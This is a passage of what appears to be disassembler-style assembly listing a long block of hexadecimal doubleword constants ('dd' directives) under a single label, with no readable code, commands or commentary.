1A243C6Bh dd 0E6F9A3Fh, 25A74F60h, 7780548Fh, 0C8C48C6Eh, 0A56F10Fh dd 2ADF036Dh, 0C0B5C0C5h, 10BF244h, 427DC3A9h, 0D83F769Dh dd 827824B0h, 97C65F01h, 7CB9E4CCh, 2125E0h, 64BCC807h dd 6E354F7Dh, 0A794E0Fh, 2BDB8011h, 18A1F362h, 0A8C5720Ch dd 0A703EF22h, 94602320h, 0C991E1BBh, 0CB317DCh, 3F260A67h dd 8C42B119h, 8424FE10h, 3221B765h, 62A50025h, 21BE3E7Bh dd 0A60B0300h, 0E68364FBh, 222F41Fh, 0ABA83C00h, 1E61710Ah dd 0F00431h, 416C4E96h, 0C30333D7h, 790FABAEh, 262809E1h dd 9D837CB4h, 181002DCh, 0C282AAC6h, 6C0322E3h, 0CE310CA9h dd 0C3C008E8h, 8F329D0Eh, 2BDA01EDh, 7B02F992h, 0EE833E63h dd 7CB02580h, 6A602850h, 20E75801h, 0A9CC917h, 7C48245Ch dd 0F810F91Fh, 28E0FFD1h, 0BB103481h, 1D28726Ah, 30869024h dd 0F108621Fh, 1DC4CE46h, 1F6B0218h, 30EF4179h, 0E2878098h dd 7FE820D8h, 8CC90050h, 8367122Dh, 88A0139Eh, 2B14C5C7h dd 0FA43466h, 1EF6046Ch, 4E310350h, 1E8288h, 0F0AB8D4Dh dd 0DC40E195h, 0E69D696Bh, 7CC0C0D7h, 4A803AE7h, 0D28C0150h dd 0EF538D7Ah, 883A083Ch, 717A44DDh, 0D10D06EFh, 0C4D3191Dh dd 18D1DB31h, 0EC2E21B2h, 0C7415F08h, 94788AD6h, 3C44964Ah dd 23394363h, 0AFE9880Ah, 78007765h, 343A62F2h, 25ECA09Ch dd 0BD31CE42h, 3A610611h, 1E21A84Ch, 0CACAE69Bh, 4B3092D2h dd 23C9B05h, 0ECDA2818h, 0C2807D20h, 9DB06Ah, 0A6103E17h dd 31B62BC4h, 47219CACh, 939E8805h, 18B50DC2h, 7E8CD65Bh dd 0EB23863Eh, 0C57A045Ch, 0EBE2122h, 0E9DB3C48h, 108EB60Ch dd 843C03A1h, 5261D783h, 0EB55102Dh, 0D0E850CAh, 48F7040Ah dd 91251FE4h, 48D59F9Ch, 0EDFE361Ch, 1CC358A1h, 0F45B53C2h dd 97881A23h, 1E0E6201h, 86C91130h, 3D583B53h, 3F3C542Ah dd 0A154244h, 0F2AF44BFh, 790A0D94h, 4CF8D931h, 414643ACh dd 0C6F3A610h, 2A94226h, 3B416E33h, 0E442C2E3h, 52159C99h dd 6338426Ch, 6478636h, 0C4CB7910h, 609FD4C7h, 20BE310Ah dd 0D6530818h, 42E015F8h, 0D89B2B3Fh, 84DA328Ah, 30421F62h dd 6CA94E82h, 9F30FE0Ah, 11C242D6h, 0F985B6DEh, 0B3C4AE1h dd 995EE2D8h, 8328F19h, 62C0E28Ah, 3C9040DAh, 2386E41Fh dd 510A1DCEh, 3A61A892h, 3C50EDE7h, 84EE3D62h, 7A2B5B47h dd 225612FCh, 0FC8636A8h, 0FC81114Eh, 932C2050h, 0A186892h dd 9260E28Ah, 22A8A6D0h, 0C0095D1Bh, 2AF7EB56h, 0E5144488h dd 9A7811D8h, 108E9B10h, 4FC4E799h, 0AE2261D6h, 46039C4Ch dd 0BE1E085Dh, 35E64123h, 214F0CF0h, 0AA08C307h, 989DC493h dd 218EBF14h, 3394D2BEh, 5AAEC23Ch, 0C7500DCh, 0EA0181DFh dd 0ED0A943Eh, 0A8600307h, 827C1683h, 6CF4421Fh, 7A07ABB3h dd 74C70D3h, 0C0A92150h, 2932C195h, 0B00CC363h, 515B9CE6h dd 5741186Bh, 0EE0D837h, 36F224A6h, 21AA5E04h, 7E22C375h dd 81E664C8h, 483DBF37h, 0AD5A2BF2h, 58116090h, 4001A92Fh dd 170472AAh, 0E2409h, 0A28890C2h, 456DDE78h, 204865F7h dd 0D241B794h, 0C0B95460h, 0B1826559h, 0F81A5276h, 5719BEFh dd 0CC94AB94h, 8DF49429h, 0E5E0C45Dh, 462201CDh, 818202D0h dd 7CAF272Bh, 0D9210882h dd 38161480h, 0B3486E90h, 3BD00420h, 0A480D580h, 0E8EFC92Bh dd 0E1F1637Ch, 0FBA3E5ABh, 66203088h, 0FF60407Ch, 7F43C3A0h dd 9FCCA828h, 0CDE08BEBh, 0A4A683E5h, 6595CB20h, 0C0762433h dd 0AD6B472Ch, 29C03492h, 901F5F26h, 938B206h, 6D166174h dd 82C81C48h, 65A4AD54h, 0C88B5A3Ah, 3B6A00E0h, 3E0592E5h dd 39E0CA8Fh, 16E83268h, 500474EBh, 0A90BA071h, 52BF405h dd 803860h, 4B30483Ch, 8DE0BA1Fh, 3678A9E8h, 7F74718h dd 5462AC11h, 2C83AC6Fh, 8F481D6Ah, 185898BDh, 6212A88Fh dd 909050DCh, 0A8AA6E3Ah, 14CDBCE0h, 0E88FF01Fh, 3AA74B82h dd 13283091h, 3227E4ABh, 9303042Bh, 0E0B147A8h, 0F04C5A00h dd 0FD495914h, 0B7FF1D0Ah, 13044898h, 0A64020C1h, 3A7C9260h dd 6A81C8A8h, 49F092Eh, 0C206426h, 33D4F700h, 0CD88E37Bh dd 531F028Ch, 0EB4E8332h, 1FAE040h, 0E0183355h, 0A52A3173h dd 4C1FB4AAh, 41C234F4h, 0CAF733D5h, 687840ECh, 67B088ECh dd 0F1260830h, 80B1A96Ah, 5E2683C7h, 0BB02C4AEh, 5229AF66h dd 5928C4BCh, 0D101EB4h, 9AC5C898h, 0F6BA98A8h, 711F1890h dd 0FB4466A8h, 3880151Eh, 282BCFCAh, 189CD803h, 91729CE0h dd 272C2852h, 0D0AAECFFh, 8BB8C600h, 251DE405h, 0F8C507B6h dd 0FC9B5969h, 0B01096D0h, 0D004881Eh, 93DA132Bh, 8CFB8040h dd 3F121875h, 90C1EB3Dh, 8EED671Fh, 969BB840h, 0B0C23090h dd 47297428h, 69055491h, 48037A27h, 0AB0383Ah, 0F03BF651h dd 7D9287A8h, 0CBC83F5h, 51741005h, 6000C8D6h, 0BDEC3921h dd 5016011Eh, 0DA9CE284h, 3349848Ah, 380006BFh, 6B265401h dd 0B4274228h, 2CCD0A2Ah, 695B6213h, 24E32C04h, 21257900h dd 1C9A180Ah, 47D03754h, 81EC1648h, 0D01FE9BCh, 27982450h dd 0AD890E2h, 0FACB645Ch, 0DB0A648h, 20281937h, 612079ECh dd 518600AAh, 84442188h, 0C0B06C39h, 6B523088h, 99F98E30h dd 140573B7h, 8251E99h, 83BBCA02h, 0CE912C2h, 25506001h dd 0E83E0640h, 0BCF0A0E1h, 8D05D44h, 226745Ch, 0F25A40D4h dd 74C6250h, 0DC16013Ch, 0B67AF94h, 0D836024h, 0DE98A860h dd 0B1FBE089h, 41449098h, 84720776h, 0C044AF0h, 9A0EDCB1h dd 0E496BAA3h, 60E33D15h, 0FFD77D08h, 0A50434A2h, 2B72C862h dd 0E081E890h, 383A48B0h, 6021D6C0h, 4724EC2Bh, 99E1081Bh dd 0C306A0Ch, 0B93A2E84h, 0E26C80D0h, 9405A4F8h, 3DE023E6h dd 58E05324h, 98140792h, 3A087F58h, 1EE7A2A8h, 0C3F4AA52h dd 29E85EB0h, 48589AA2h, 3C18212Ch, 0A8120C84h, 0A739F4D2h dd 3847F620h, 8C97A7D5h, 0FAA1FDD1h, 0C860B9E5h, 0B861CEAFh dd 61077323h, 135418D6h, 1409F3A8h, 8116517Ah, 0DC500E5Ch dd 112788Ah, 69920110h, 61D920BDh, 84A404C8h, 0B6A40311h dd 0ACC1A9D2h, 0F5884169h, 0BAE8421Eh, 0A9F31080h, 286C030Dh dd 33292011h, 0E7319874h, 24532011h, 44500120h, 0AA148928h dd 5085C67h, 7B0DAE47h, 3061300Ch, 2451C6ECh, 0E40EB9E1h dd 4939798Dh, 0A5802078h, 0DE6621A7h, 25980128h, 243C81E4h dd 39127160h, 9C003264h, 0FAF56B3Ah, 9F6E061Ah, 81567CADh dd 0F73A067Ah, 66600008h, 0EB48AEFDh, 281F054Dh, 0D4EF137Ah dd 0ADB081E0h, 3D186052h, 6C38EA0Ch, 3DE989D0h, 0F45DC683h dd 2DF38C00h, 3D3CD85Ah, 486632Ch, 5D04802Ch, 50802214h dd 269F324h, 0D9430C32h, 0CC68B22Bh, 5E2C8093h, 6C0164DBh dd 0F19CE542h, 2858F850h, 0D06F6E5Fh, 0B5EEBD81h, 0C4BC44F5h dd 0D4A4A0F0h, 77468509h, 32C80163h, 38B41DF9h, 5214F3B0h dd 343A6AB4h, 109ED543h, 865AF740h, 48A04ABAh, 80939403h dd 0D78194DCh, 0BCAF9004h, 6084A12Ch, 273D2440h, 988E51Eh dd 26BA93Ah, 0FF5B9CA1h, 0FCDC30F9h, 80A8625Ch, 0B01FF8D3h dd 0F8C46036h, 0EAA6331Dh, 209DC801h, 5CD6AB6h, 0D3FB868h dd 0EFF9BB44h, 18483CA3h, 99196040h, 0E8ABB239h, 0D2BD7B60h dd 0A8C002E9h, 6085E791h, 71C8C8A2h, 0F24C3118h, 73C9698h dd 0B6A86748h, 0C9AD8EEEh, 200BE141h, 8A1DD84h, 0D9420C8h dd 321951DEh, 1408DC20h, 8FC640C8h, 70E02C99h, 46F6A51Eh dd 81047812h, 90E8DC0Bh, 16020D4h, 723F1640h, 242DF011h dd 753A6430h, 0FCB08030h, 0FF8A06D4h, 6AD24804h, 420D007Ch dd 0BEB74A4Eh, 0D30E31CDh, 0BBBFEA4Ch, 0DCBCF018h, 0F835F662h dd 0E2263A9Ah, 52049100h, 8297E5F4h, 56E420Fh, 0B5EC83D2h dd 9B280036h, 3DEBC943h, 61002913h, 0C3995F17h, 0CE6B212h dd 75FB8DE3h, 0DC62AE48h, 23439810h, 3C1EA4Ah, 0EBA01142h dd 9808E8E1h, 2401E078h, 49F3064Ah, 1671D6C3h, 0D21000FFh dd 6DA45A31h, 4E0070F4h, 9FECD7Dh, 69C55h, 3063F68Dh, 78D1D5B1h dd 28B03500h, 0A755F305h, 0AB890E09h, 6AFDD60h, 0F7A5A3EFh dd 0A1A7C06Dh, 0A0BFA88h, 83AFE3ABh, 48EF11BDh, 7777AA38h dd 0F0423325h, 30149F10h, 0F2F9C0h, 65B4294Fh, 0A053A48h dd 8DF30F0Ch, 898B00C5h, 2A99825Fh, 59702300h, 1448AB7Fh dd 762C3204h, 649155D0h, 36921005h, 3729016Dh, 35772BD5h dd 0F7E1AEh, 9047D9E3h, 1C11C718h, 8B1DC0EAh, 95F02753h dd 84E658C5h, 18507838h, 18313823h, 53306754h, 0C0A279E9h dd 0C17D2872h, 47BA4008h, 0FB18B278h, 6A61822Dh, 379405EEh dd 41FD6F2Ch, 2526FF94h, 7B73E09Fh, 9BD41506h, 3309D30h dd 2892FE2Eh, 103FE2DBh, 0EBFB00D5h, 0F032631Ch, 0F270CF54h dd 0AF6FE100h, 92F6C285h, 0D26CFF07h, 36D02326h, 0F8F102E6h dd 344FE860h, 68787FB0h, 640DAD8h, 8F7990h, 85205689h dd 0CD277715h, 8E88E400h, 0CCC7AF8Dh, 9E5D00C9h, 7E4D1683h dd 0A300DB95h, 58120553h, 389F63ECh, 0FD0048DEh, 0C9C5BC4Eh dd 840CD0F5h, 10C6D30Ch, 0DAF903BFh, 8B054E5Ah, 0CA7E30DFh dd 0C71EA78Eh, 0C6D4D829h, 55A3001Ch, 15254693h, 0F7A3A94h dd 33095801h, 0E364D8D4h, 2274680Fh, 1780FC49h, 0AAE45393h dd 65AC002Dh, 48DDA7AEh, 1006CB22h, 0ED983EC6h, 0D1FC0EB0h dd 4E8004C9h, 0DC68BE7Bh, 0CB41509Dh, 0C556211h, 841137h dd 260E6C07h, 408C65CBh, 73BF2500h, 1F3517Ch, 47FA0024h dd 0A77A0F7Bh, 5C6646E5h, 14417C80h, 8021439Eh, 1D47984h dd 0E2E03EBCh, 33C4853h, 0C4400E31h, 706621FEh, 502E28h dd 8AF06E06h, 0DDD8D383h, 5C0E2914h, 0CEB040C8h, 3A537A0Eh dd 0F1D40289h, 0A6908170h, 0B19845E5h, 0DEAE6101h, 32009FE2h dd 30ED957Dh, 0C06DDF56h, 434E4D30h, 11C7D0D4h, 0C5C060CEh dd 0F122C874h, 758EE980h, 0D253857Eh, 29AEC0C1h, 200118h dd 0E04A6060h, 1358D770h, 0CB30757Eh, 65FD384Ch, 3B3F0057h dd 7DDAEDD1h, 0BCA4C6DFh, 0FAC40604h, 8F472D60h, 0F978C3D3h dd 47C5ADF3h, 71F414A8h, 802CE059h, 0CBB57E70h, 70055147h dd 83449156h, 54A44933h, 0B5C27803h, 1EDC7F3Fh, 65BD5D9h dd 106CC64Bh, 0F27E1100h, 2AC79F8Dh, 1D60EECBh, 0C724B8Eh dd 0AED0C884h, 0C5C2D603h, 0CD9493Fh, 34609649h, 0AE0076B1h dd 0FB9E47A6h, 10586CDh, 0BEABF2Dh, 0C35E3AFAh, 84CE73F8h dd 70D81600h, 7E3E8CC3h, 7AF11F0Ah, 44C00A4Ah, 921E3C94h dd 888144Bh, 8C4A0D11h, 88B020A5h, 7A05816Bh, 5D38AA65h dd 0BECD9443h, 0F240A3EEh, 57C0A0AFh, 19637319h, 0C88DFBEDh dd 552F10DAh dd 51876029h, 2409A586h, 5D8276Fh, 9444B864h, 0F09141BFh dd 0F98A0AAEh, 1814CB24h, 0E8BD51E4h, 0DC2FAB12h, 4053C041h dd 9C485830h, 3194125Fh, 746C01FCh, 0DACF7A24h, 886B084h dd 0B5648038h, 0EC77F5FCh, 0DF6C7C06h, 1E79DDC9h, 14DED3BBh dd 0CD200870h, 3A204842h, 6D1E4042h, 1F1811DCh, 12191FA5h dd 0C211F070h, 0F810908Bh, 2D11A688h, 112C3800h, 2EE4DE5Ah dd 968949C0h, 73CC6742h, 0D6D4A1F1h, 44C58850h, 4298AA40h dd 30549098h, 0A4D60160h, 0F37AD8F8h, 70FDCD23h, 8009949Eh dd 0D1B385h, 0AF3AE5ACh, 24307018h, 3A6C2BDCh, 0F0890301h dd 0C02F8B69h, 0CA60560h, 50005690h, 0A28455ACh, 7CD58865h dd 1B647CFAh, 807A8621h, 0D310A6AAh, 0E082F706h, 2254AC3Ah dd 83C41863h, 0E46528h, 186786CAh, 5A0507C5h, 197D2857h dd 1A91807h, 343DA241h, 0DB130254h, 60036459h, 808F6DC6h dd 0C7D294Eh, 457485Ah, 0B5767AB0h, 75E8D861h, 5030FB44h dd 26D04C4h, 0C374A03Bh, 85B941B8h, 0A85882D7h, 40C41F9Fh dd 30BC0B38h, 0A7A8CE22h, 0C012CC27h, 0E0028ED0h, 84B6453Eh dd 0ACC2FD8Ch, 0D21F20E4h, 5728B29Eh, 0D54DE0F4h, 9FAD0654h dd 105936D4h, 6F73F94h, 37A52FA8h, 0BC854C18h, 0AEE07680h dd 3E14BD93h, 882F7Ch, 4B635030h, 0F895D8F5h, 0B8FD001Bh dd 600CEA0Bh, 0E700AC06h, 0A656C47Dh, 29AA4546h, 0FAC6359h dd 0B038C13Eh, 0F0304830h, 0AEBC484Ch, 0D919DA33h, 0AC8D4C42h dd 1061CDB0h, 80C625BCh, 31874A7h, 8930556Ch, 0B7D60129h dd 3A18FF72h, 0F921C3B2h, 39DA88D3h, 11231742h, 581CF219h dd 8D184863h, 2250B1ECh, 0F8D41630h, 23A96B40h, 0E6680E23h dd 921C0200h, 0F7531E8h, 0BE6F14DCh, 535DE140h, 80F2011h dd 40D97044h, 7B716998h, 9D800CDh, 0EF92E83Ch, 0B4077689h dd 0D7EA2B80h, 6F24AC00h, 0B80F06E7h, 5089A93Ch, 9220E960h dd 53AC356Bh, 0BC42017h, 5FA1604Ch, 0EDD2279Eh, 91A369C0h dd 801D4B8h, 4ACFD08Ah, 26E18DD3h, 960168B9h, 0AF597A5Dh dd 72B881F0h, 0A3EF9B3Eh, 0C0D07F20h, 7B594568h, 0D9547EDDh dd 0A406EF80h, 0E39351Fh, 99620011h, 0D3874EA7h, 0F033BD2Ch dd 71408ABh, 0A6014721h, 55258018h, 9007BCDh, 0CAB91E9Fh dd 0C03D8F95h, 0E298EE90h, 0B0C0C732h, 420BD611h, 38761B92h dd 7823A04Dh, 0A79F013Fh, 18C38740h, 74D8851h, 0B353A600h dd 35908DD8h, 942E5072h, 0BB8C005Eh, 0E118EA2Fh, 8932FA0Fh dd 0E3B910BAh, 0C12D879h, 6317004Bh, 0AF325919h, 7D00B1DCh dd 39BA744Fh, 75B073Ah, 588F1C30h, 0D81F80A4h, 80008C36h dd 0ED34F2FDh, 170495Ah, 0EFEEBF92h, 9EF3C691h, 31C05B18h dd 7340C4C2h, 112600BCh, 163A3FA9h, 5A1C9734h, 0C547F3FCh dd 6100DA80h, 1073465Dh, 0DE28D6h, 0AC68B688h, 7236A3h dd 0ECA93F97h, 6E284DC6h, 0D603F57Ah, 82C0D780h, 71580FEDh dd 2400446Dh, 78A627ECh, 3612350Fh, 0DA9010Ah, 288738A8h dd 0EC927D7Bh, 0B2745F18h, 0E699E560h, 760689A3h, 6468C0A4h dd 8A9B2240h, 2F7AC501h, 0BBA0D06Eh, 1666A086h, 0CB4480EDh dd 1C6C187Eh, 9AB65815h, 1D7FF90Fh, 327CA37Ah, 5D180009h dd 0E06692C0h, 58973F40h, 23162864h, 0BA7B0094h, 0E25380A6h dd 32618545h, 8C069558h, 0A9744851h, 4820E80Ch, 4940A13h dd 0C0D891h, 79BA9256h, 1D53FA7Dh, 788CC874h, 8B008368h dd 1C5048B6h, 0E5406028h, 1B6818D3h, 0BC72F1C7h, 411CC800h dd 0CCF6BED9h, 94603E12h, 97FC5D01h, 894B3304h, 20DF8590h dd 0DDD7670Ch, 97150027h, 1600594h, 481B0A98h, 3A59DC21h dd 0EE407630h, 4387E61Dh, 3B54C100h, 7419F5h, 0C4094148h dd 40B9B1Ah, 4B294400h, 855372A2h, 96E807ABh, 0B32521A9h dd 5978E41Ch, 0ADBE4E00h, 0A9B392BDh, 7AF35CAFh, 0DD9CF700h dd 1648352Dh, 30591501h, 733A9671h, 0B4A520h, 0B51E5283h dd 0CAF65EE6h, 3E60F50Eh, 0A0096F07h, 1F947AEFh, 8069DEFDh dd 0EB46704h, 4E00A0F3h, 0F4A91396h, 1DDAB15h, 0AA6D9C83h dd 0D8DF6B97h, 353DA410h, 2800F83Dh, 4B6F44A9h, 14C64126h dd 0B545F66Ch, 1FEA8300h, 0AF462D25h, 0DC36FA03h, 0C711F4C8h dd 1E488DC0h, 83670E82h, 95806C1Ch, 8018DE4Ah, 342F7B7Ch dd 0CF5D63Ah, 48291C26h, 7DDFCE88h, 57240062h, 28175CF0h dd 450163DDh, 58EC6E37h, 8440319Ch, 1C5FC205h, 8EBD1D03h dd 36015460h, 70D7CAC6h, 0D001E64h, 0AFCD8C7Fh, 171B5FFDh dd 1F80764Ch, 5243402Eh, 3D9F95F8h, 0C9E35900h, 7AF0CDC0h dd 9663001Bh, 69E211Fh, 0B0000E26h, 0A6AB5BE5h, 7A3031Dh dd 77736BBEh, 60F17071h, 24002B62h, 42C6F32Fh, 0B69F82h dd 0FB19B4CFh, 3C20495Fh, 48313400h, 5AEBEEDAh, 2494A02Eh dd 2AC5006Bh, 0FA21889Bh, 61FC775h, 3183EEE1h, 0A0E99A72h dd 808D53h, 0F87E2162h, 1DF3CA5Fh, 160F2C0Fh, 0F9770029h dd 791E99h, 0F53AE9DEh, 0C7D95745h, 0DF5BD200h, 0BFF4E4A0h dd 0C4E205EDh, 0C07397F3h, 2555AF8Fh, 8F8EF600h, 0F0CEC589h dd 0E9072FCh, 97AD2B8Bh, 1020272Ch, 0DD181607h, 0E5906112h dd 430A08h, 0C1973C73h, 0CB05765Bh, 189038h, 0A17A82A9h dd 0B801E4h, 0C7E1EC37h, 52F1DF51h, 0AC133800h, 411FCC2Eh dd 0BE360027h, 0D9C4464Ch, 0DA002515h, 486BDF2Ch, 0B3C5AAh dd 0B1BEDD9Dh, 0A71316E3h, 0B0CB601h, 0C225D644h, 2ACDD0h dd 6304148Ah, 8B4A66F4h, 0EA427800h, 0DA7B8312h, 3BD3007Dh dd 8A793533h, 663DAAD5h, 8FF78054h, 254E132Bh, 0CD2400E9h dd 0BF40058Dh, 0CB005498h, 0D9E303DBh, 0E1B3BAh, 23AB4D18h dd 0B2A78489h, 0CC2806E4h, 302EC829h, 95009E46h, 0A57A3926h dd 6E583B31h, 1A0090C8h, 7B05F716h, 0D70243C6h, 5B20A062h dd 69C680F6h, 0F29EF5DFh, 7DFC0075h, 0B227FED4h, 0A7B88D58h dd 42954E04h, 0D9C0E363h, 242307D2h, 168ABE4h, 7BEF7953h dd 164B609Ch, 73CD8400h, 5C6BD6CFh, 0A2EE8Eh, 2B5193D9h dd 7DACF31Dh, 1B37AD00h, 572A0812h, 16EC0FFBh, 0A820D294h dd 0C4E9AE8Eh, 0C2638000h, 0A067A1DBh, 0B5FC0691h, 0D053E24Dh dd 0E80003F0h, 0E30CD20Eh, 3794E1EAh, 30E055D6h, 0F0525B6h dd 0C991FB00h, 0BD7212E7h, 607F005Fh, 51A55024h, 990778DBh dd 15B8B094h, 7766FC82h, 0BCC2AD00h, 0E6EC7F4Fh, 0FDD00100h dd 0F55BCD71h, 490500B8h, 0C0D2FE13h, 82008D4Dh, 0A342638Ch dd 3C73D5DDh, 3B008E3Dh, 5CC8DECDh, 0B50CF6CBh, 0B815ACCAh dd 0E63D1CA2h, 75FC8239h, 0FC409C30h, 0F2008EDDh, 8C021EF8h dd 6DF6E4Fh, 6DD440B5h, 6B0098E3h, 0B7FFF596h, 336070h dd 0E12DA572h, 825DD44Ah, 9DD16E01h, 50031A8Ch, 394B120h dd 10CF435Eh, 68D82F74h, 0B801EAA2h, 4CD5470Fh, 9C302013h dd 0E5EC7Bh, 0D7FAB6AFh, 1AEA9E77h, 0FE94D23Bh, 14001D7Ch dd 582E7DF0h, 4C745087h, 5D0EE039h, 6207D815h, 1B7BD02Ch dd 3B384243h, 0E7D6055Ah, 5EC00D87h, 18C6823h, 0C59D749Ch dd 0C9F48F27h, 6A55F8B2h, 60B638CFh, 239F7558h, 0C1990FCBh dd 9C0553h, 0CE35ECD2h, 0DF000CA7h, 360B2B3Fh, 1EA5E845h dd 40C3C6B2h, 2AAA3A4Ah, 0B00175E6h, 63CEECF1h, 49200826h dd 0E95260E7h, 0A5FF7E3Eh, 1BD2A61Eh, 0A82FDFC0h, 4870F37Bh dd 8B00B183h, 385DCD1Eh dd 6B002D51h, 6D05EA4h, 3DAD7F6h, 6C1AFEF8h, 0A1DFE720h dd 20AE1026h, 790EA064h, 4084023Ch, 83BD337Dh, 0D9280029h dd 0AE1EC0AAh, 3E008235h, 0D374DD46h, 33F1055h, 0C35F5D63h dd 0F9818FCFh, 0EA2AF851h, 0A9F5DE07h, 233D799h, 0ABB1A0FEh dd 0A119001Eh, 5C3E70A2h, 820E3885h, 60C16B1Ch, 7F2C173Fh dd 1CFF5869h, 0B38C073Ch, 30480203h, 0EA0098EAh, 35A31140h dd 38BFDC53h, 9E3D3D95h, 6F3B8880h, 670A5A4Ah, 2B8E2700h dd 3279A1BEh, 1B2A0059h, 0A53A0EAFh, 0E60CD615h, 56EE61AEh dd 0BBA102B5h, 0A34449A8h, 30C27041h, 9D00E004h, 28F5C301h dd 0F09637Ch, 7FBC8B05h, 641E6B80h, 9201FD85h, 0A1CE3BE6h dd 0DFD2ED1h, 0D2F7C0h, 1AFA72B4h, 1F2F84C3h, 133C7400h dd 64507695h, 77D7D61h, 9429C0BBh, 50D0E7FFh, 0D114971h dd 0F54ABE1Ch, 2592B980h, 9907A4h, 7D647E5Dh, 0F678147Ah dd 0C549C805h, 0A2009C32h, 219219C3h, 7A50004Bh, 9BECA362h dd 840080E4h, 0C7D60331h, 4E37DCh, 25107C81h, 38DA7616h dd 9C383CFCh, 0AEE380ECh, 0CB40F4F0h, 1479093Fh, 0F820B2EBh dd 1C94A936h, 0B8C04E00h, 627D2456h, 669500ABh, 540544F0h dd 775BB5Ch, 0F740CD00h, 6781120Dh, 0E82000BDh, 9A8AAE7Ch dd 0E70E92D1h, 5EB73C4h, 7CD07A2Ch, 3C8C59h, 96F346ADh dd 97609A76h, 10C4CD1Fh, 0F0072816h, 884085AEh, 7C727123h dd 4E0C09EBh, 8C031461h, 0F0E72CA2h, 1FC8B50Dh, 26965B01h dd 167CD09Ah, 67254080h, 0C6FBCA23h, 93E1CF01h, 0AC9994F2h dd 0A81498E2h, 0D82474AEh, 67C56859h, 0D7662C00h, 360D529h dd 4C61501Eh, 404748E2h, 0AD720C0Ch, 0EB066D30h, 811AB9Dh dd 708A2849h, 0FEA20030h, 14803929h, 95745855h, 0CE1AF403h dd 0A816F56Bh, 2E7DC040h, 7E8EA5Ch, 0FE78729h, 0E1AA7660h dd 6EA475Dh, 0E0E93B00h, 7CC4243Ch, 4C123C39h, 14DA8200h dd 4A748A4Fh, 0EE5D7800h, 0EAD845A2h, 0FEDD0030h, 1AC00CD1h dd 6C0C4686h, 8CC8426Eh, 5BA0C02Ch, 0FACE4331h, 0A07A5A00h dd 98130CA6h, 44334C2Ah, 0C8D626h, 0EBABFE8Bh, 0B4386637h dd 0BBC50083h, 0C9887711h, 3FDA00FFh, 0F1F7039Bh, 84B0C713h dd 0E5689900h, 0CFD164FAh, 4D3F007Dh, 4B1E90A5h, 93009D35h dd 0FD327226h, 0D9D1EAh, 8EDB2E36h, 0ED79E2CEh, 0BA82DF01h dd 0E9A4676h, 1669CE4h, 145D286Ah, 0F4B18BCCh, 85034918h dd 0A50F95B0h, 0E775C8F8h, 0AE2E0066h, 0D12C87A2h, 207FE078h dd 0E8000790h, 0B19522B9h, 165F22Ah, 58C0ECF3h, 0DC0ACD38h dd 7507C73Eh, 1D56EFEBh, 616B0591h, 251F830h, 951C5971h dd 80C0FACBh, 697F659Bh, 0F7C2B700h, 0AEA3A509h, 0F53200FBh dd 5A83A84h, 0F30996CFh, 13E1F9h, 6F906BB8h, 0D9F27Ah dd 629E3483h, 0C0DBF3EEh, 144CCE12h, 421D2000h, 52C202h dd 56EB5F7Ch, 603810B6h, 3F7A213Ch, 6BB3059Bh, 8C7D8C0h dd 0EAE4490h, 61250433h, 9050D03Eh, 734F1F44h, 622B9900h dd 40F6FF14h, 1FB17734h, 0C0EE8568h, 0C2699767h, 7A00B43Ah dd 0F78B0FBBh, 9E5D74h, 0D0290C2Eh, 88C46D5Fh, 2C704C7Fh dd 8099653Eh, 1F351986h, 0B90D90h, 8E2ECABEh, 0B7C30B81h dd 0E7F3658h, 0EB3D96A6h, 0CF340F03h, 8C34C0ADh, 1D0E820Ah dd 2D6DBBEh, 0D8D40B29h, 60F1FE60h, 0AD581D00h, 6BC846D7h dd 0D0F507BEh, 40F0431h, 2634B076h, 0E11F92F0h, 0DFC5E0E5h dd 0AC0FD85Dh, 0BC40D281h, 5A7F24AFh, 0C83000Dh, 0DDDCFCF1h dd 2FFE11C5h, 952BD024h, 4FDB7A00h, 53FB50h, 0F998092Ah dd 5B68416Eh, 12B18A00h, 51F5585Ah, 20942879h, 981010B0h dd 20525123h, 0CAEAC8D4h, 93EC6900h, 0BE17AB09h, 0D85B5D9Bh dd 0A0C97E00h, 89C68818h, 0F88F230Eh, 96976095h, 6FFF56h dd 0FC6DED98h, 0EFE90243h, 0D58E0B07h, 0DBA06A42h, 3A9F0BCh dd 8DBB690Eh, 2EB8ABE6h, 5001B75h, 7C433FBFh, 0D57330h dd 5063B511h, 475CAA5Eh, 5CF1F926h, 24FF2580h, 0F0E077Eh dd 0A658B3E6h, 0D5C38642h, 88A3E8E8h, 0A96B4800h, 0D9FFAE6Ch dd 9F18C09Bh, 9843F354h, 0BE0028FCh, 80F53EADh, 2E3A4Ch dd 0A5DEB933h, 67D5FDBh, 6C043801h, 298E4BA7h, 31A71F8h dd 0E3EDFD39h, 2B886213h, 7B001879h, 7DD52FFCh, 0C6B6B0h dd 8DA0A791h, 0E452D6BBh, 0A818B307h, 96000B58h, 610D886h dd 70C51B34h, 0D600C162h, 0CCE9806Ch, 98DE11B5h, 39797B07h dd 0A33C62F0h, 6CAE381Fh, 5EA60048h, 0F1B12148h, 950F1500h dd 0C84AC4AFh, 0E8E40075h, 51D82033h, 0CBADCE7h, 7AB521h dd 47FE525Dh, 0A61C9B61h, 0B8DD3049h, 8F638E0Eh, 6846203Bh dd 0E5991h, 99B71F8Ch, 0F14509E5h, 0B1FD5200h, 15AE3366h dd 0E9B500DAh, 72AFA592h, 0CF00B05Eh, 0B4CD025Ah, 0C64B28h dd 0E59ECBEDh, 919D1204h, 8F71DE01h, 0F0F8B4D6h, 1CA661CCh dd 34369A8h, 0EEC7D4C3h, 4EF84654h, 0B404DCF2h, 0D0CA7F9Ah dd 10634081h, 28EB9C8h, 0D2A620A1h, 0A4481AE6h, 0B6006C3Ah dd 9D300439h, 0C0F340B0h, 0BF6A9B18h, 59C9D1FDh, 0F700CB50h dd 62DA8D00h, 5A0E002Ch, 3D927F84h, 0F10E6AABh, 0A05649BDh dd 0C3078BFEh, 47FB0082h, 937289FFh, 1600AB2Ah, 520B7867h dd 76F9DAFh, 3317CA5Eh, 3BADD0FCh, 1B073157h, 0DED21542h dd 41658E80h, 0CBB6034Eh, 0AFE43814h, 48CAA6B8h, 0F87BF209h dd 0BA31005Fh, 118435h, 0E0012E2Ah, 71081D94h, 0C7EE971Dh dd 6300F413h, 79D1356h, 276005Dh, 0A1429983h, 7A00C9E2h dd 3E9E5BA7h, 3E1CF6FCh, 918929EEh, 78E07DFDh, 0D00E2F9h dd 9CDCC9E0h, 0BB9DF57h, 3CECE8A1h, 3D9ADB00h, 0FF0079E6h dd 3FEA985Ah, 10DDF8Dh, 58B5D3C3h, 82A76FCAh, 4334AC18h dd 0F1106BE1h, 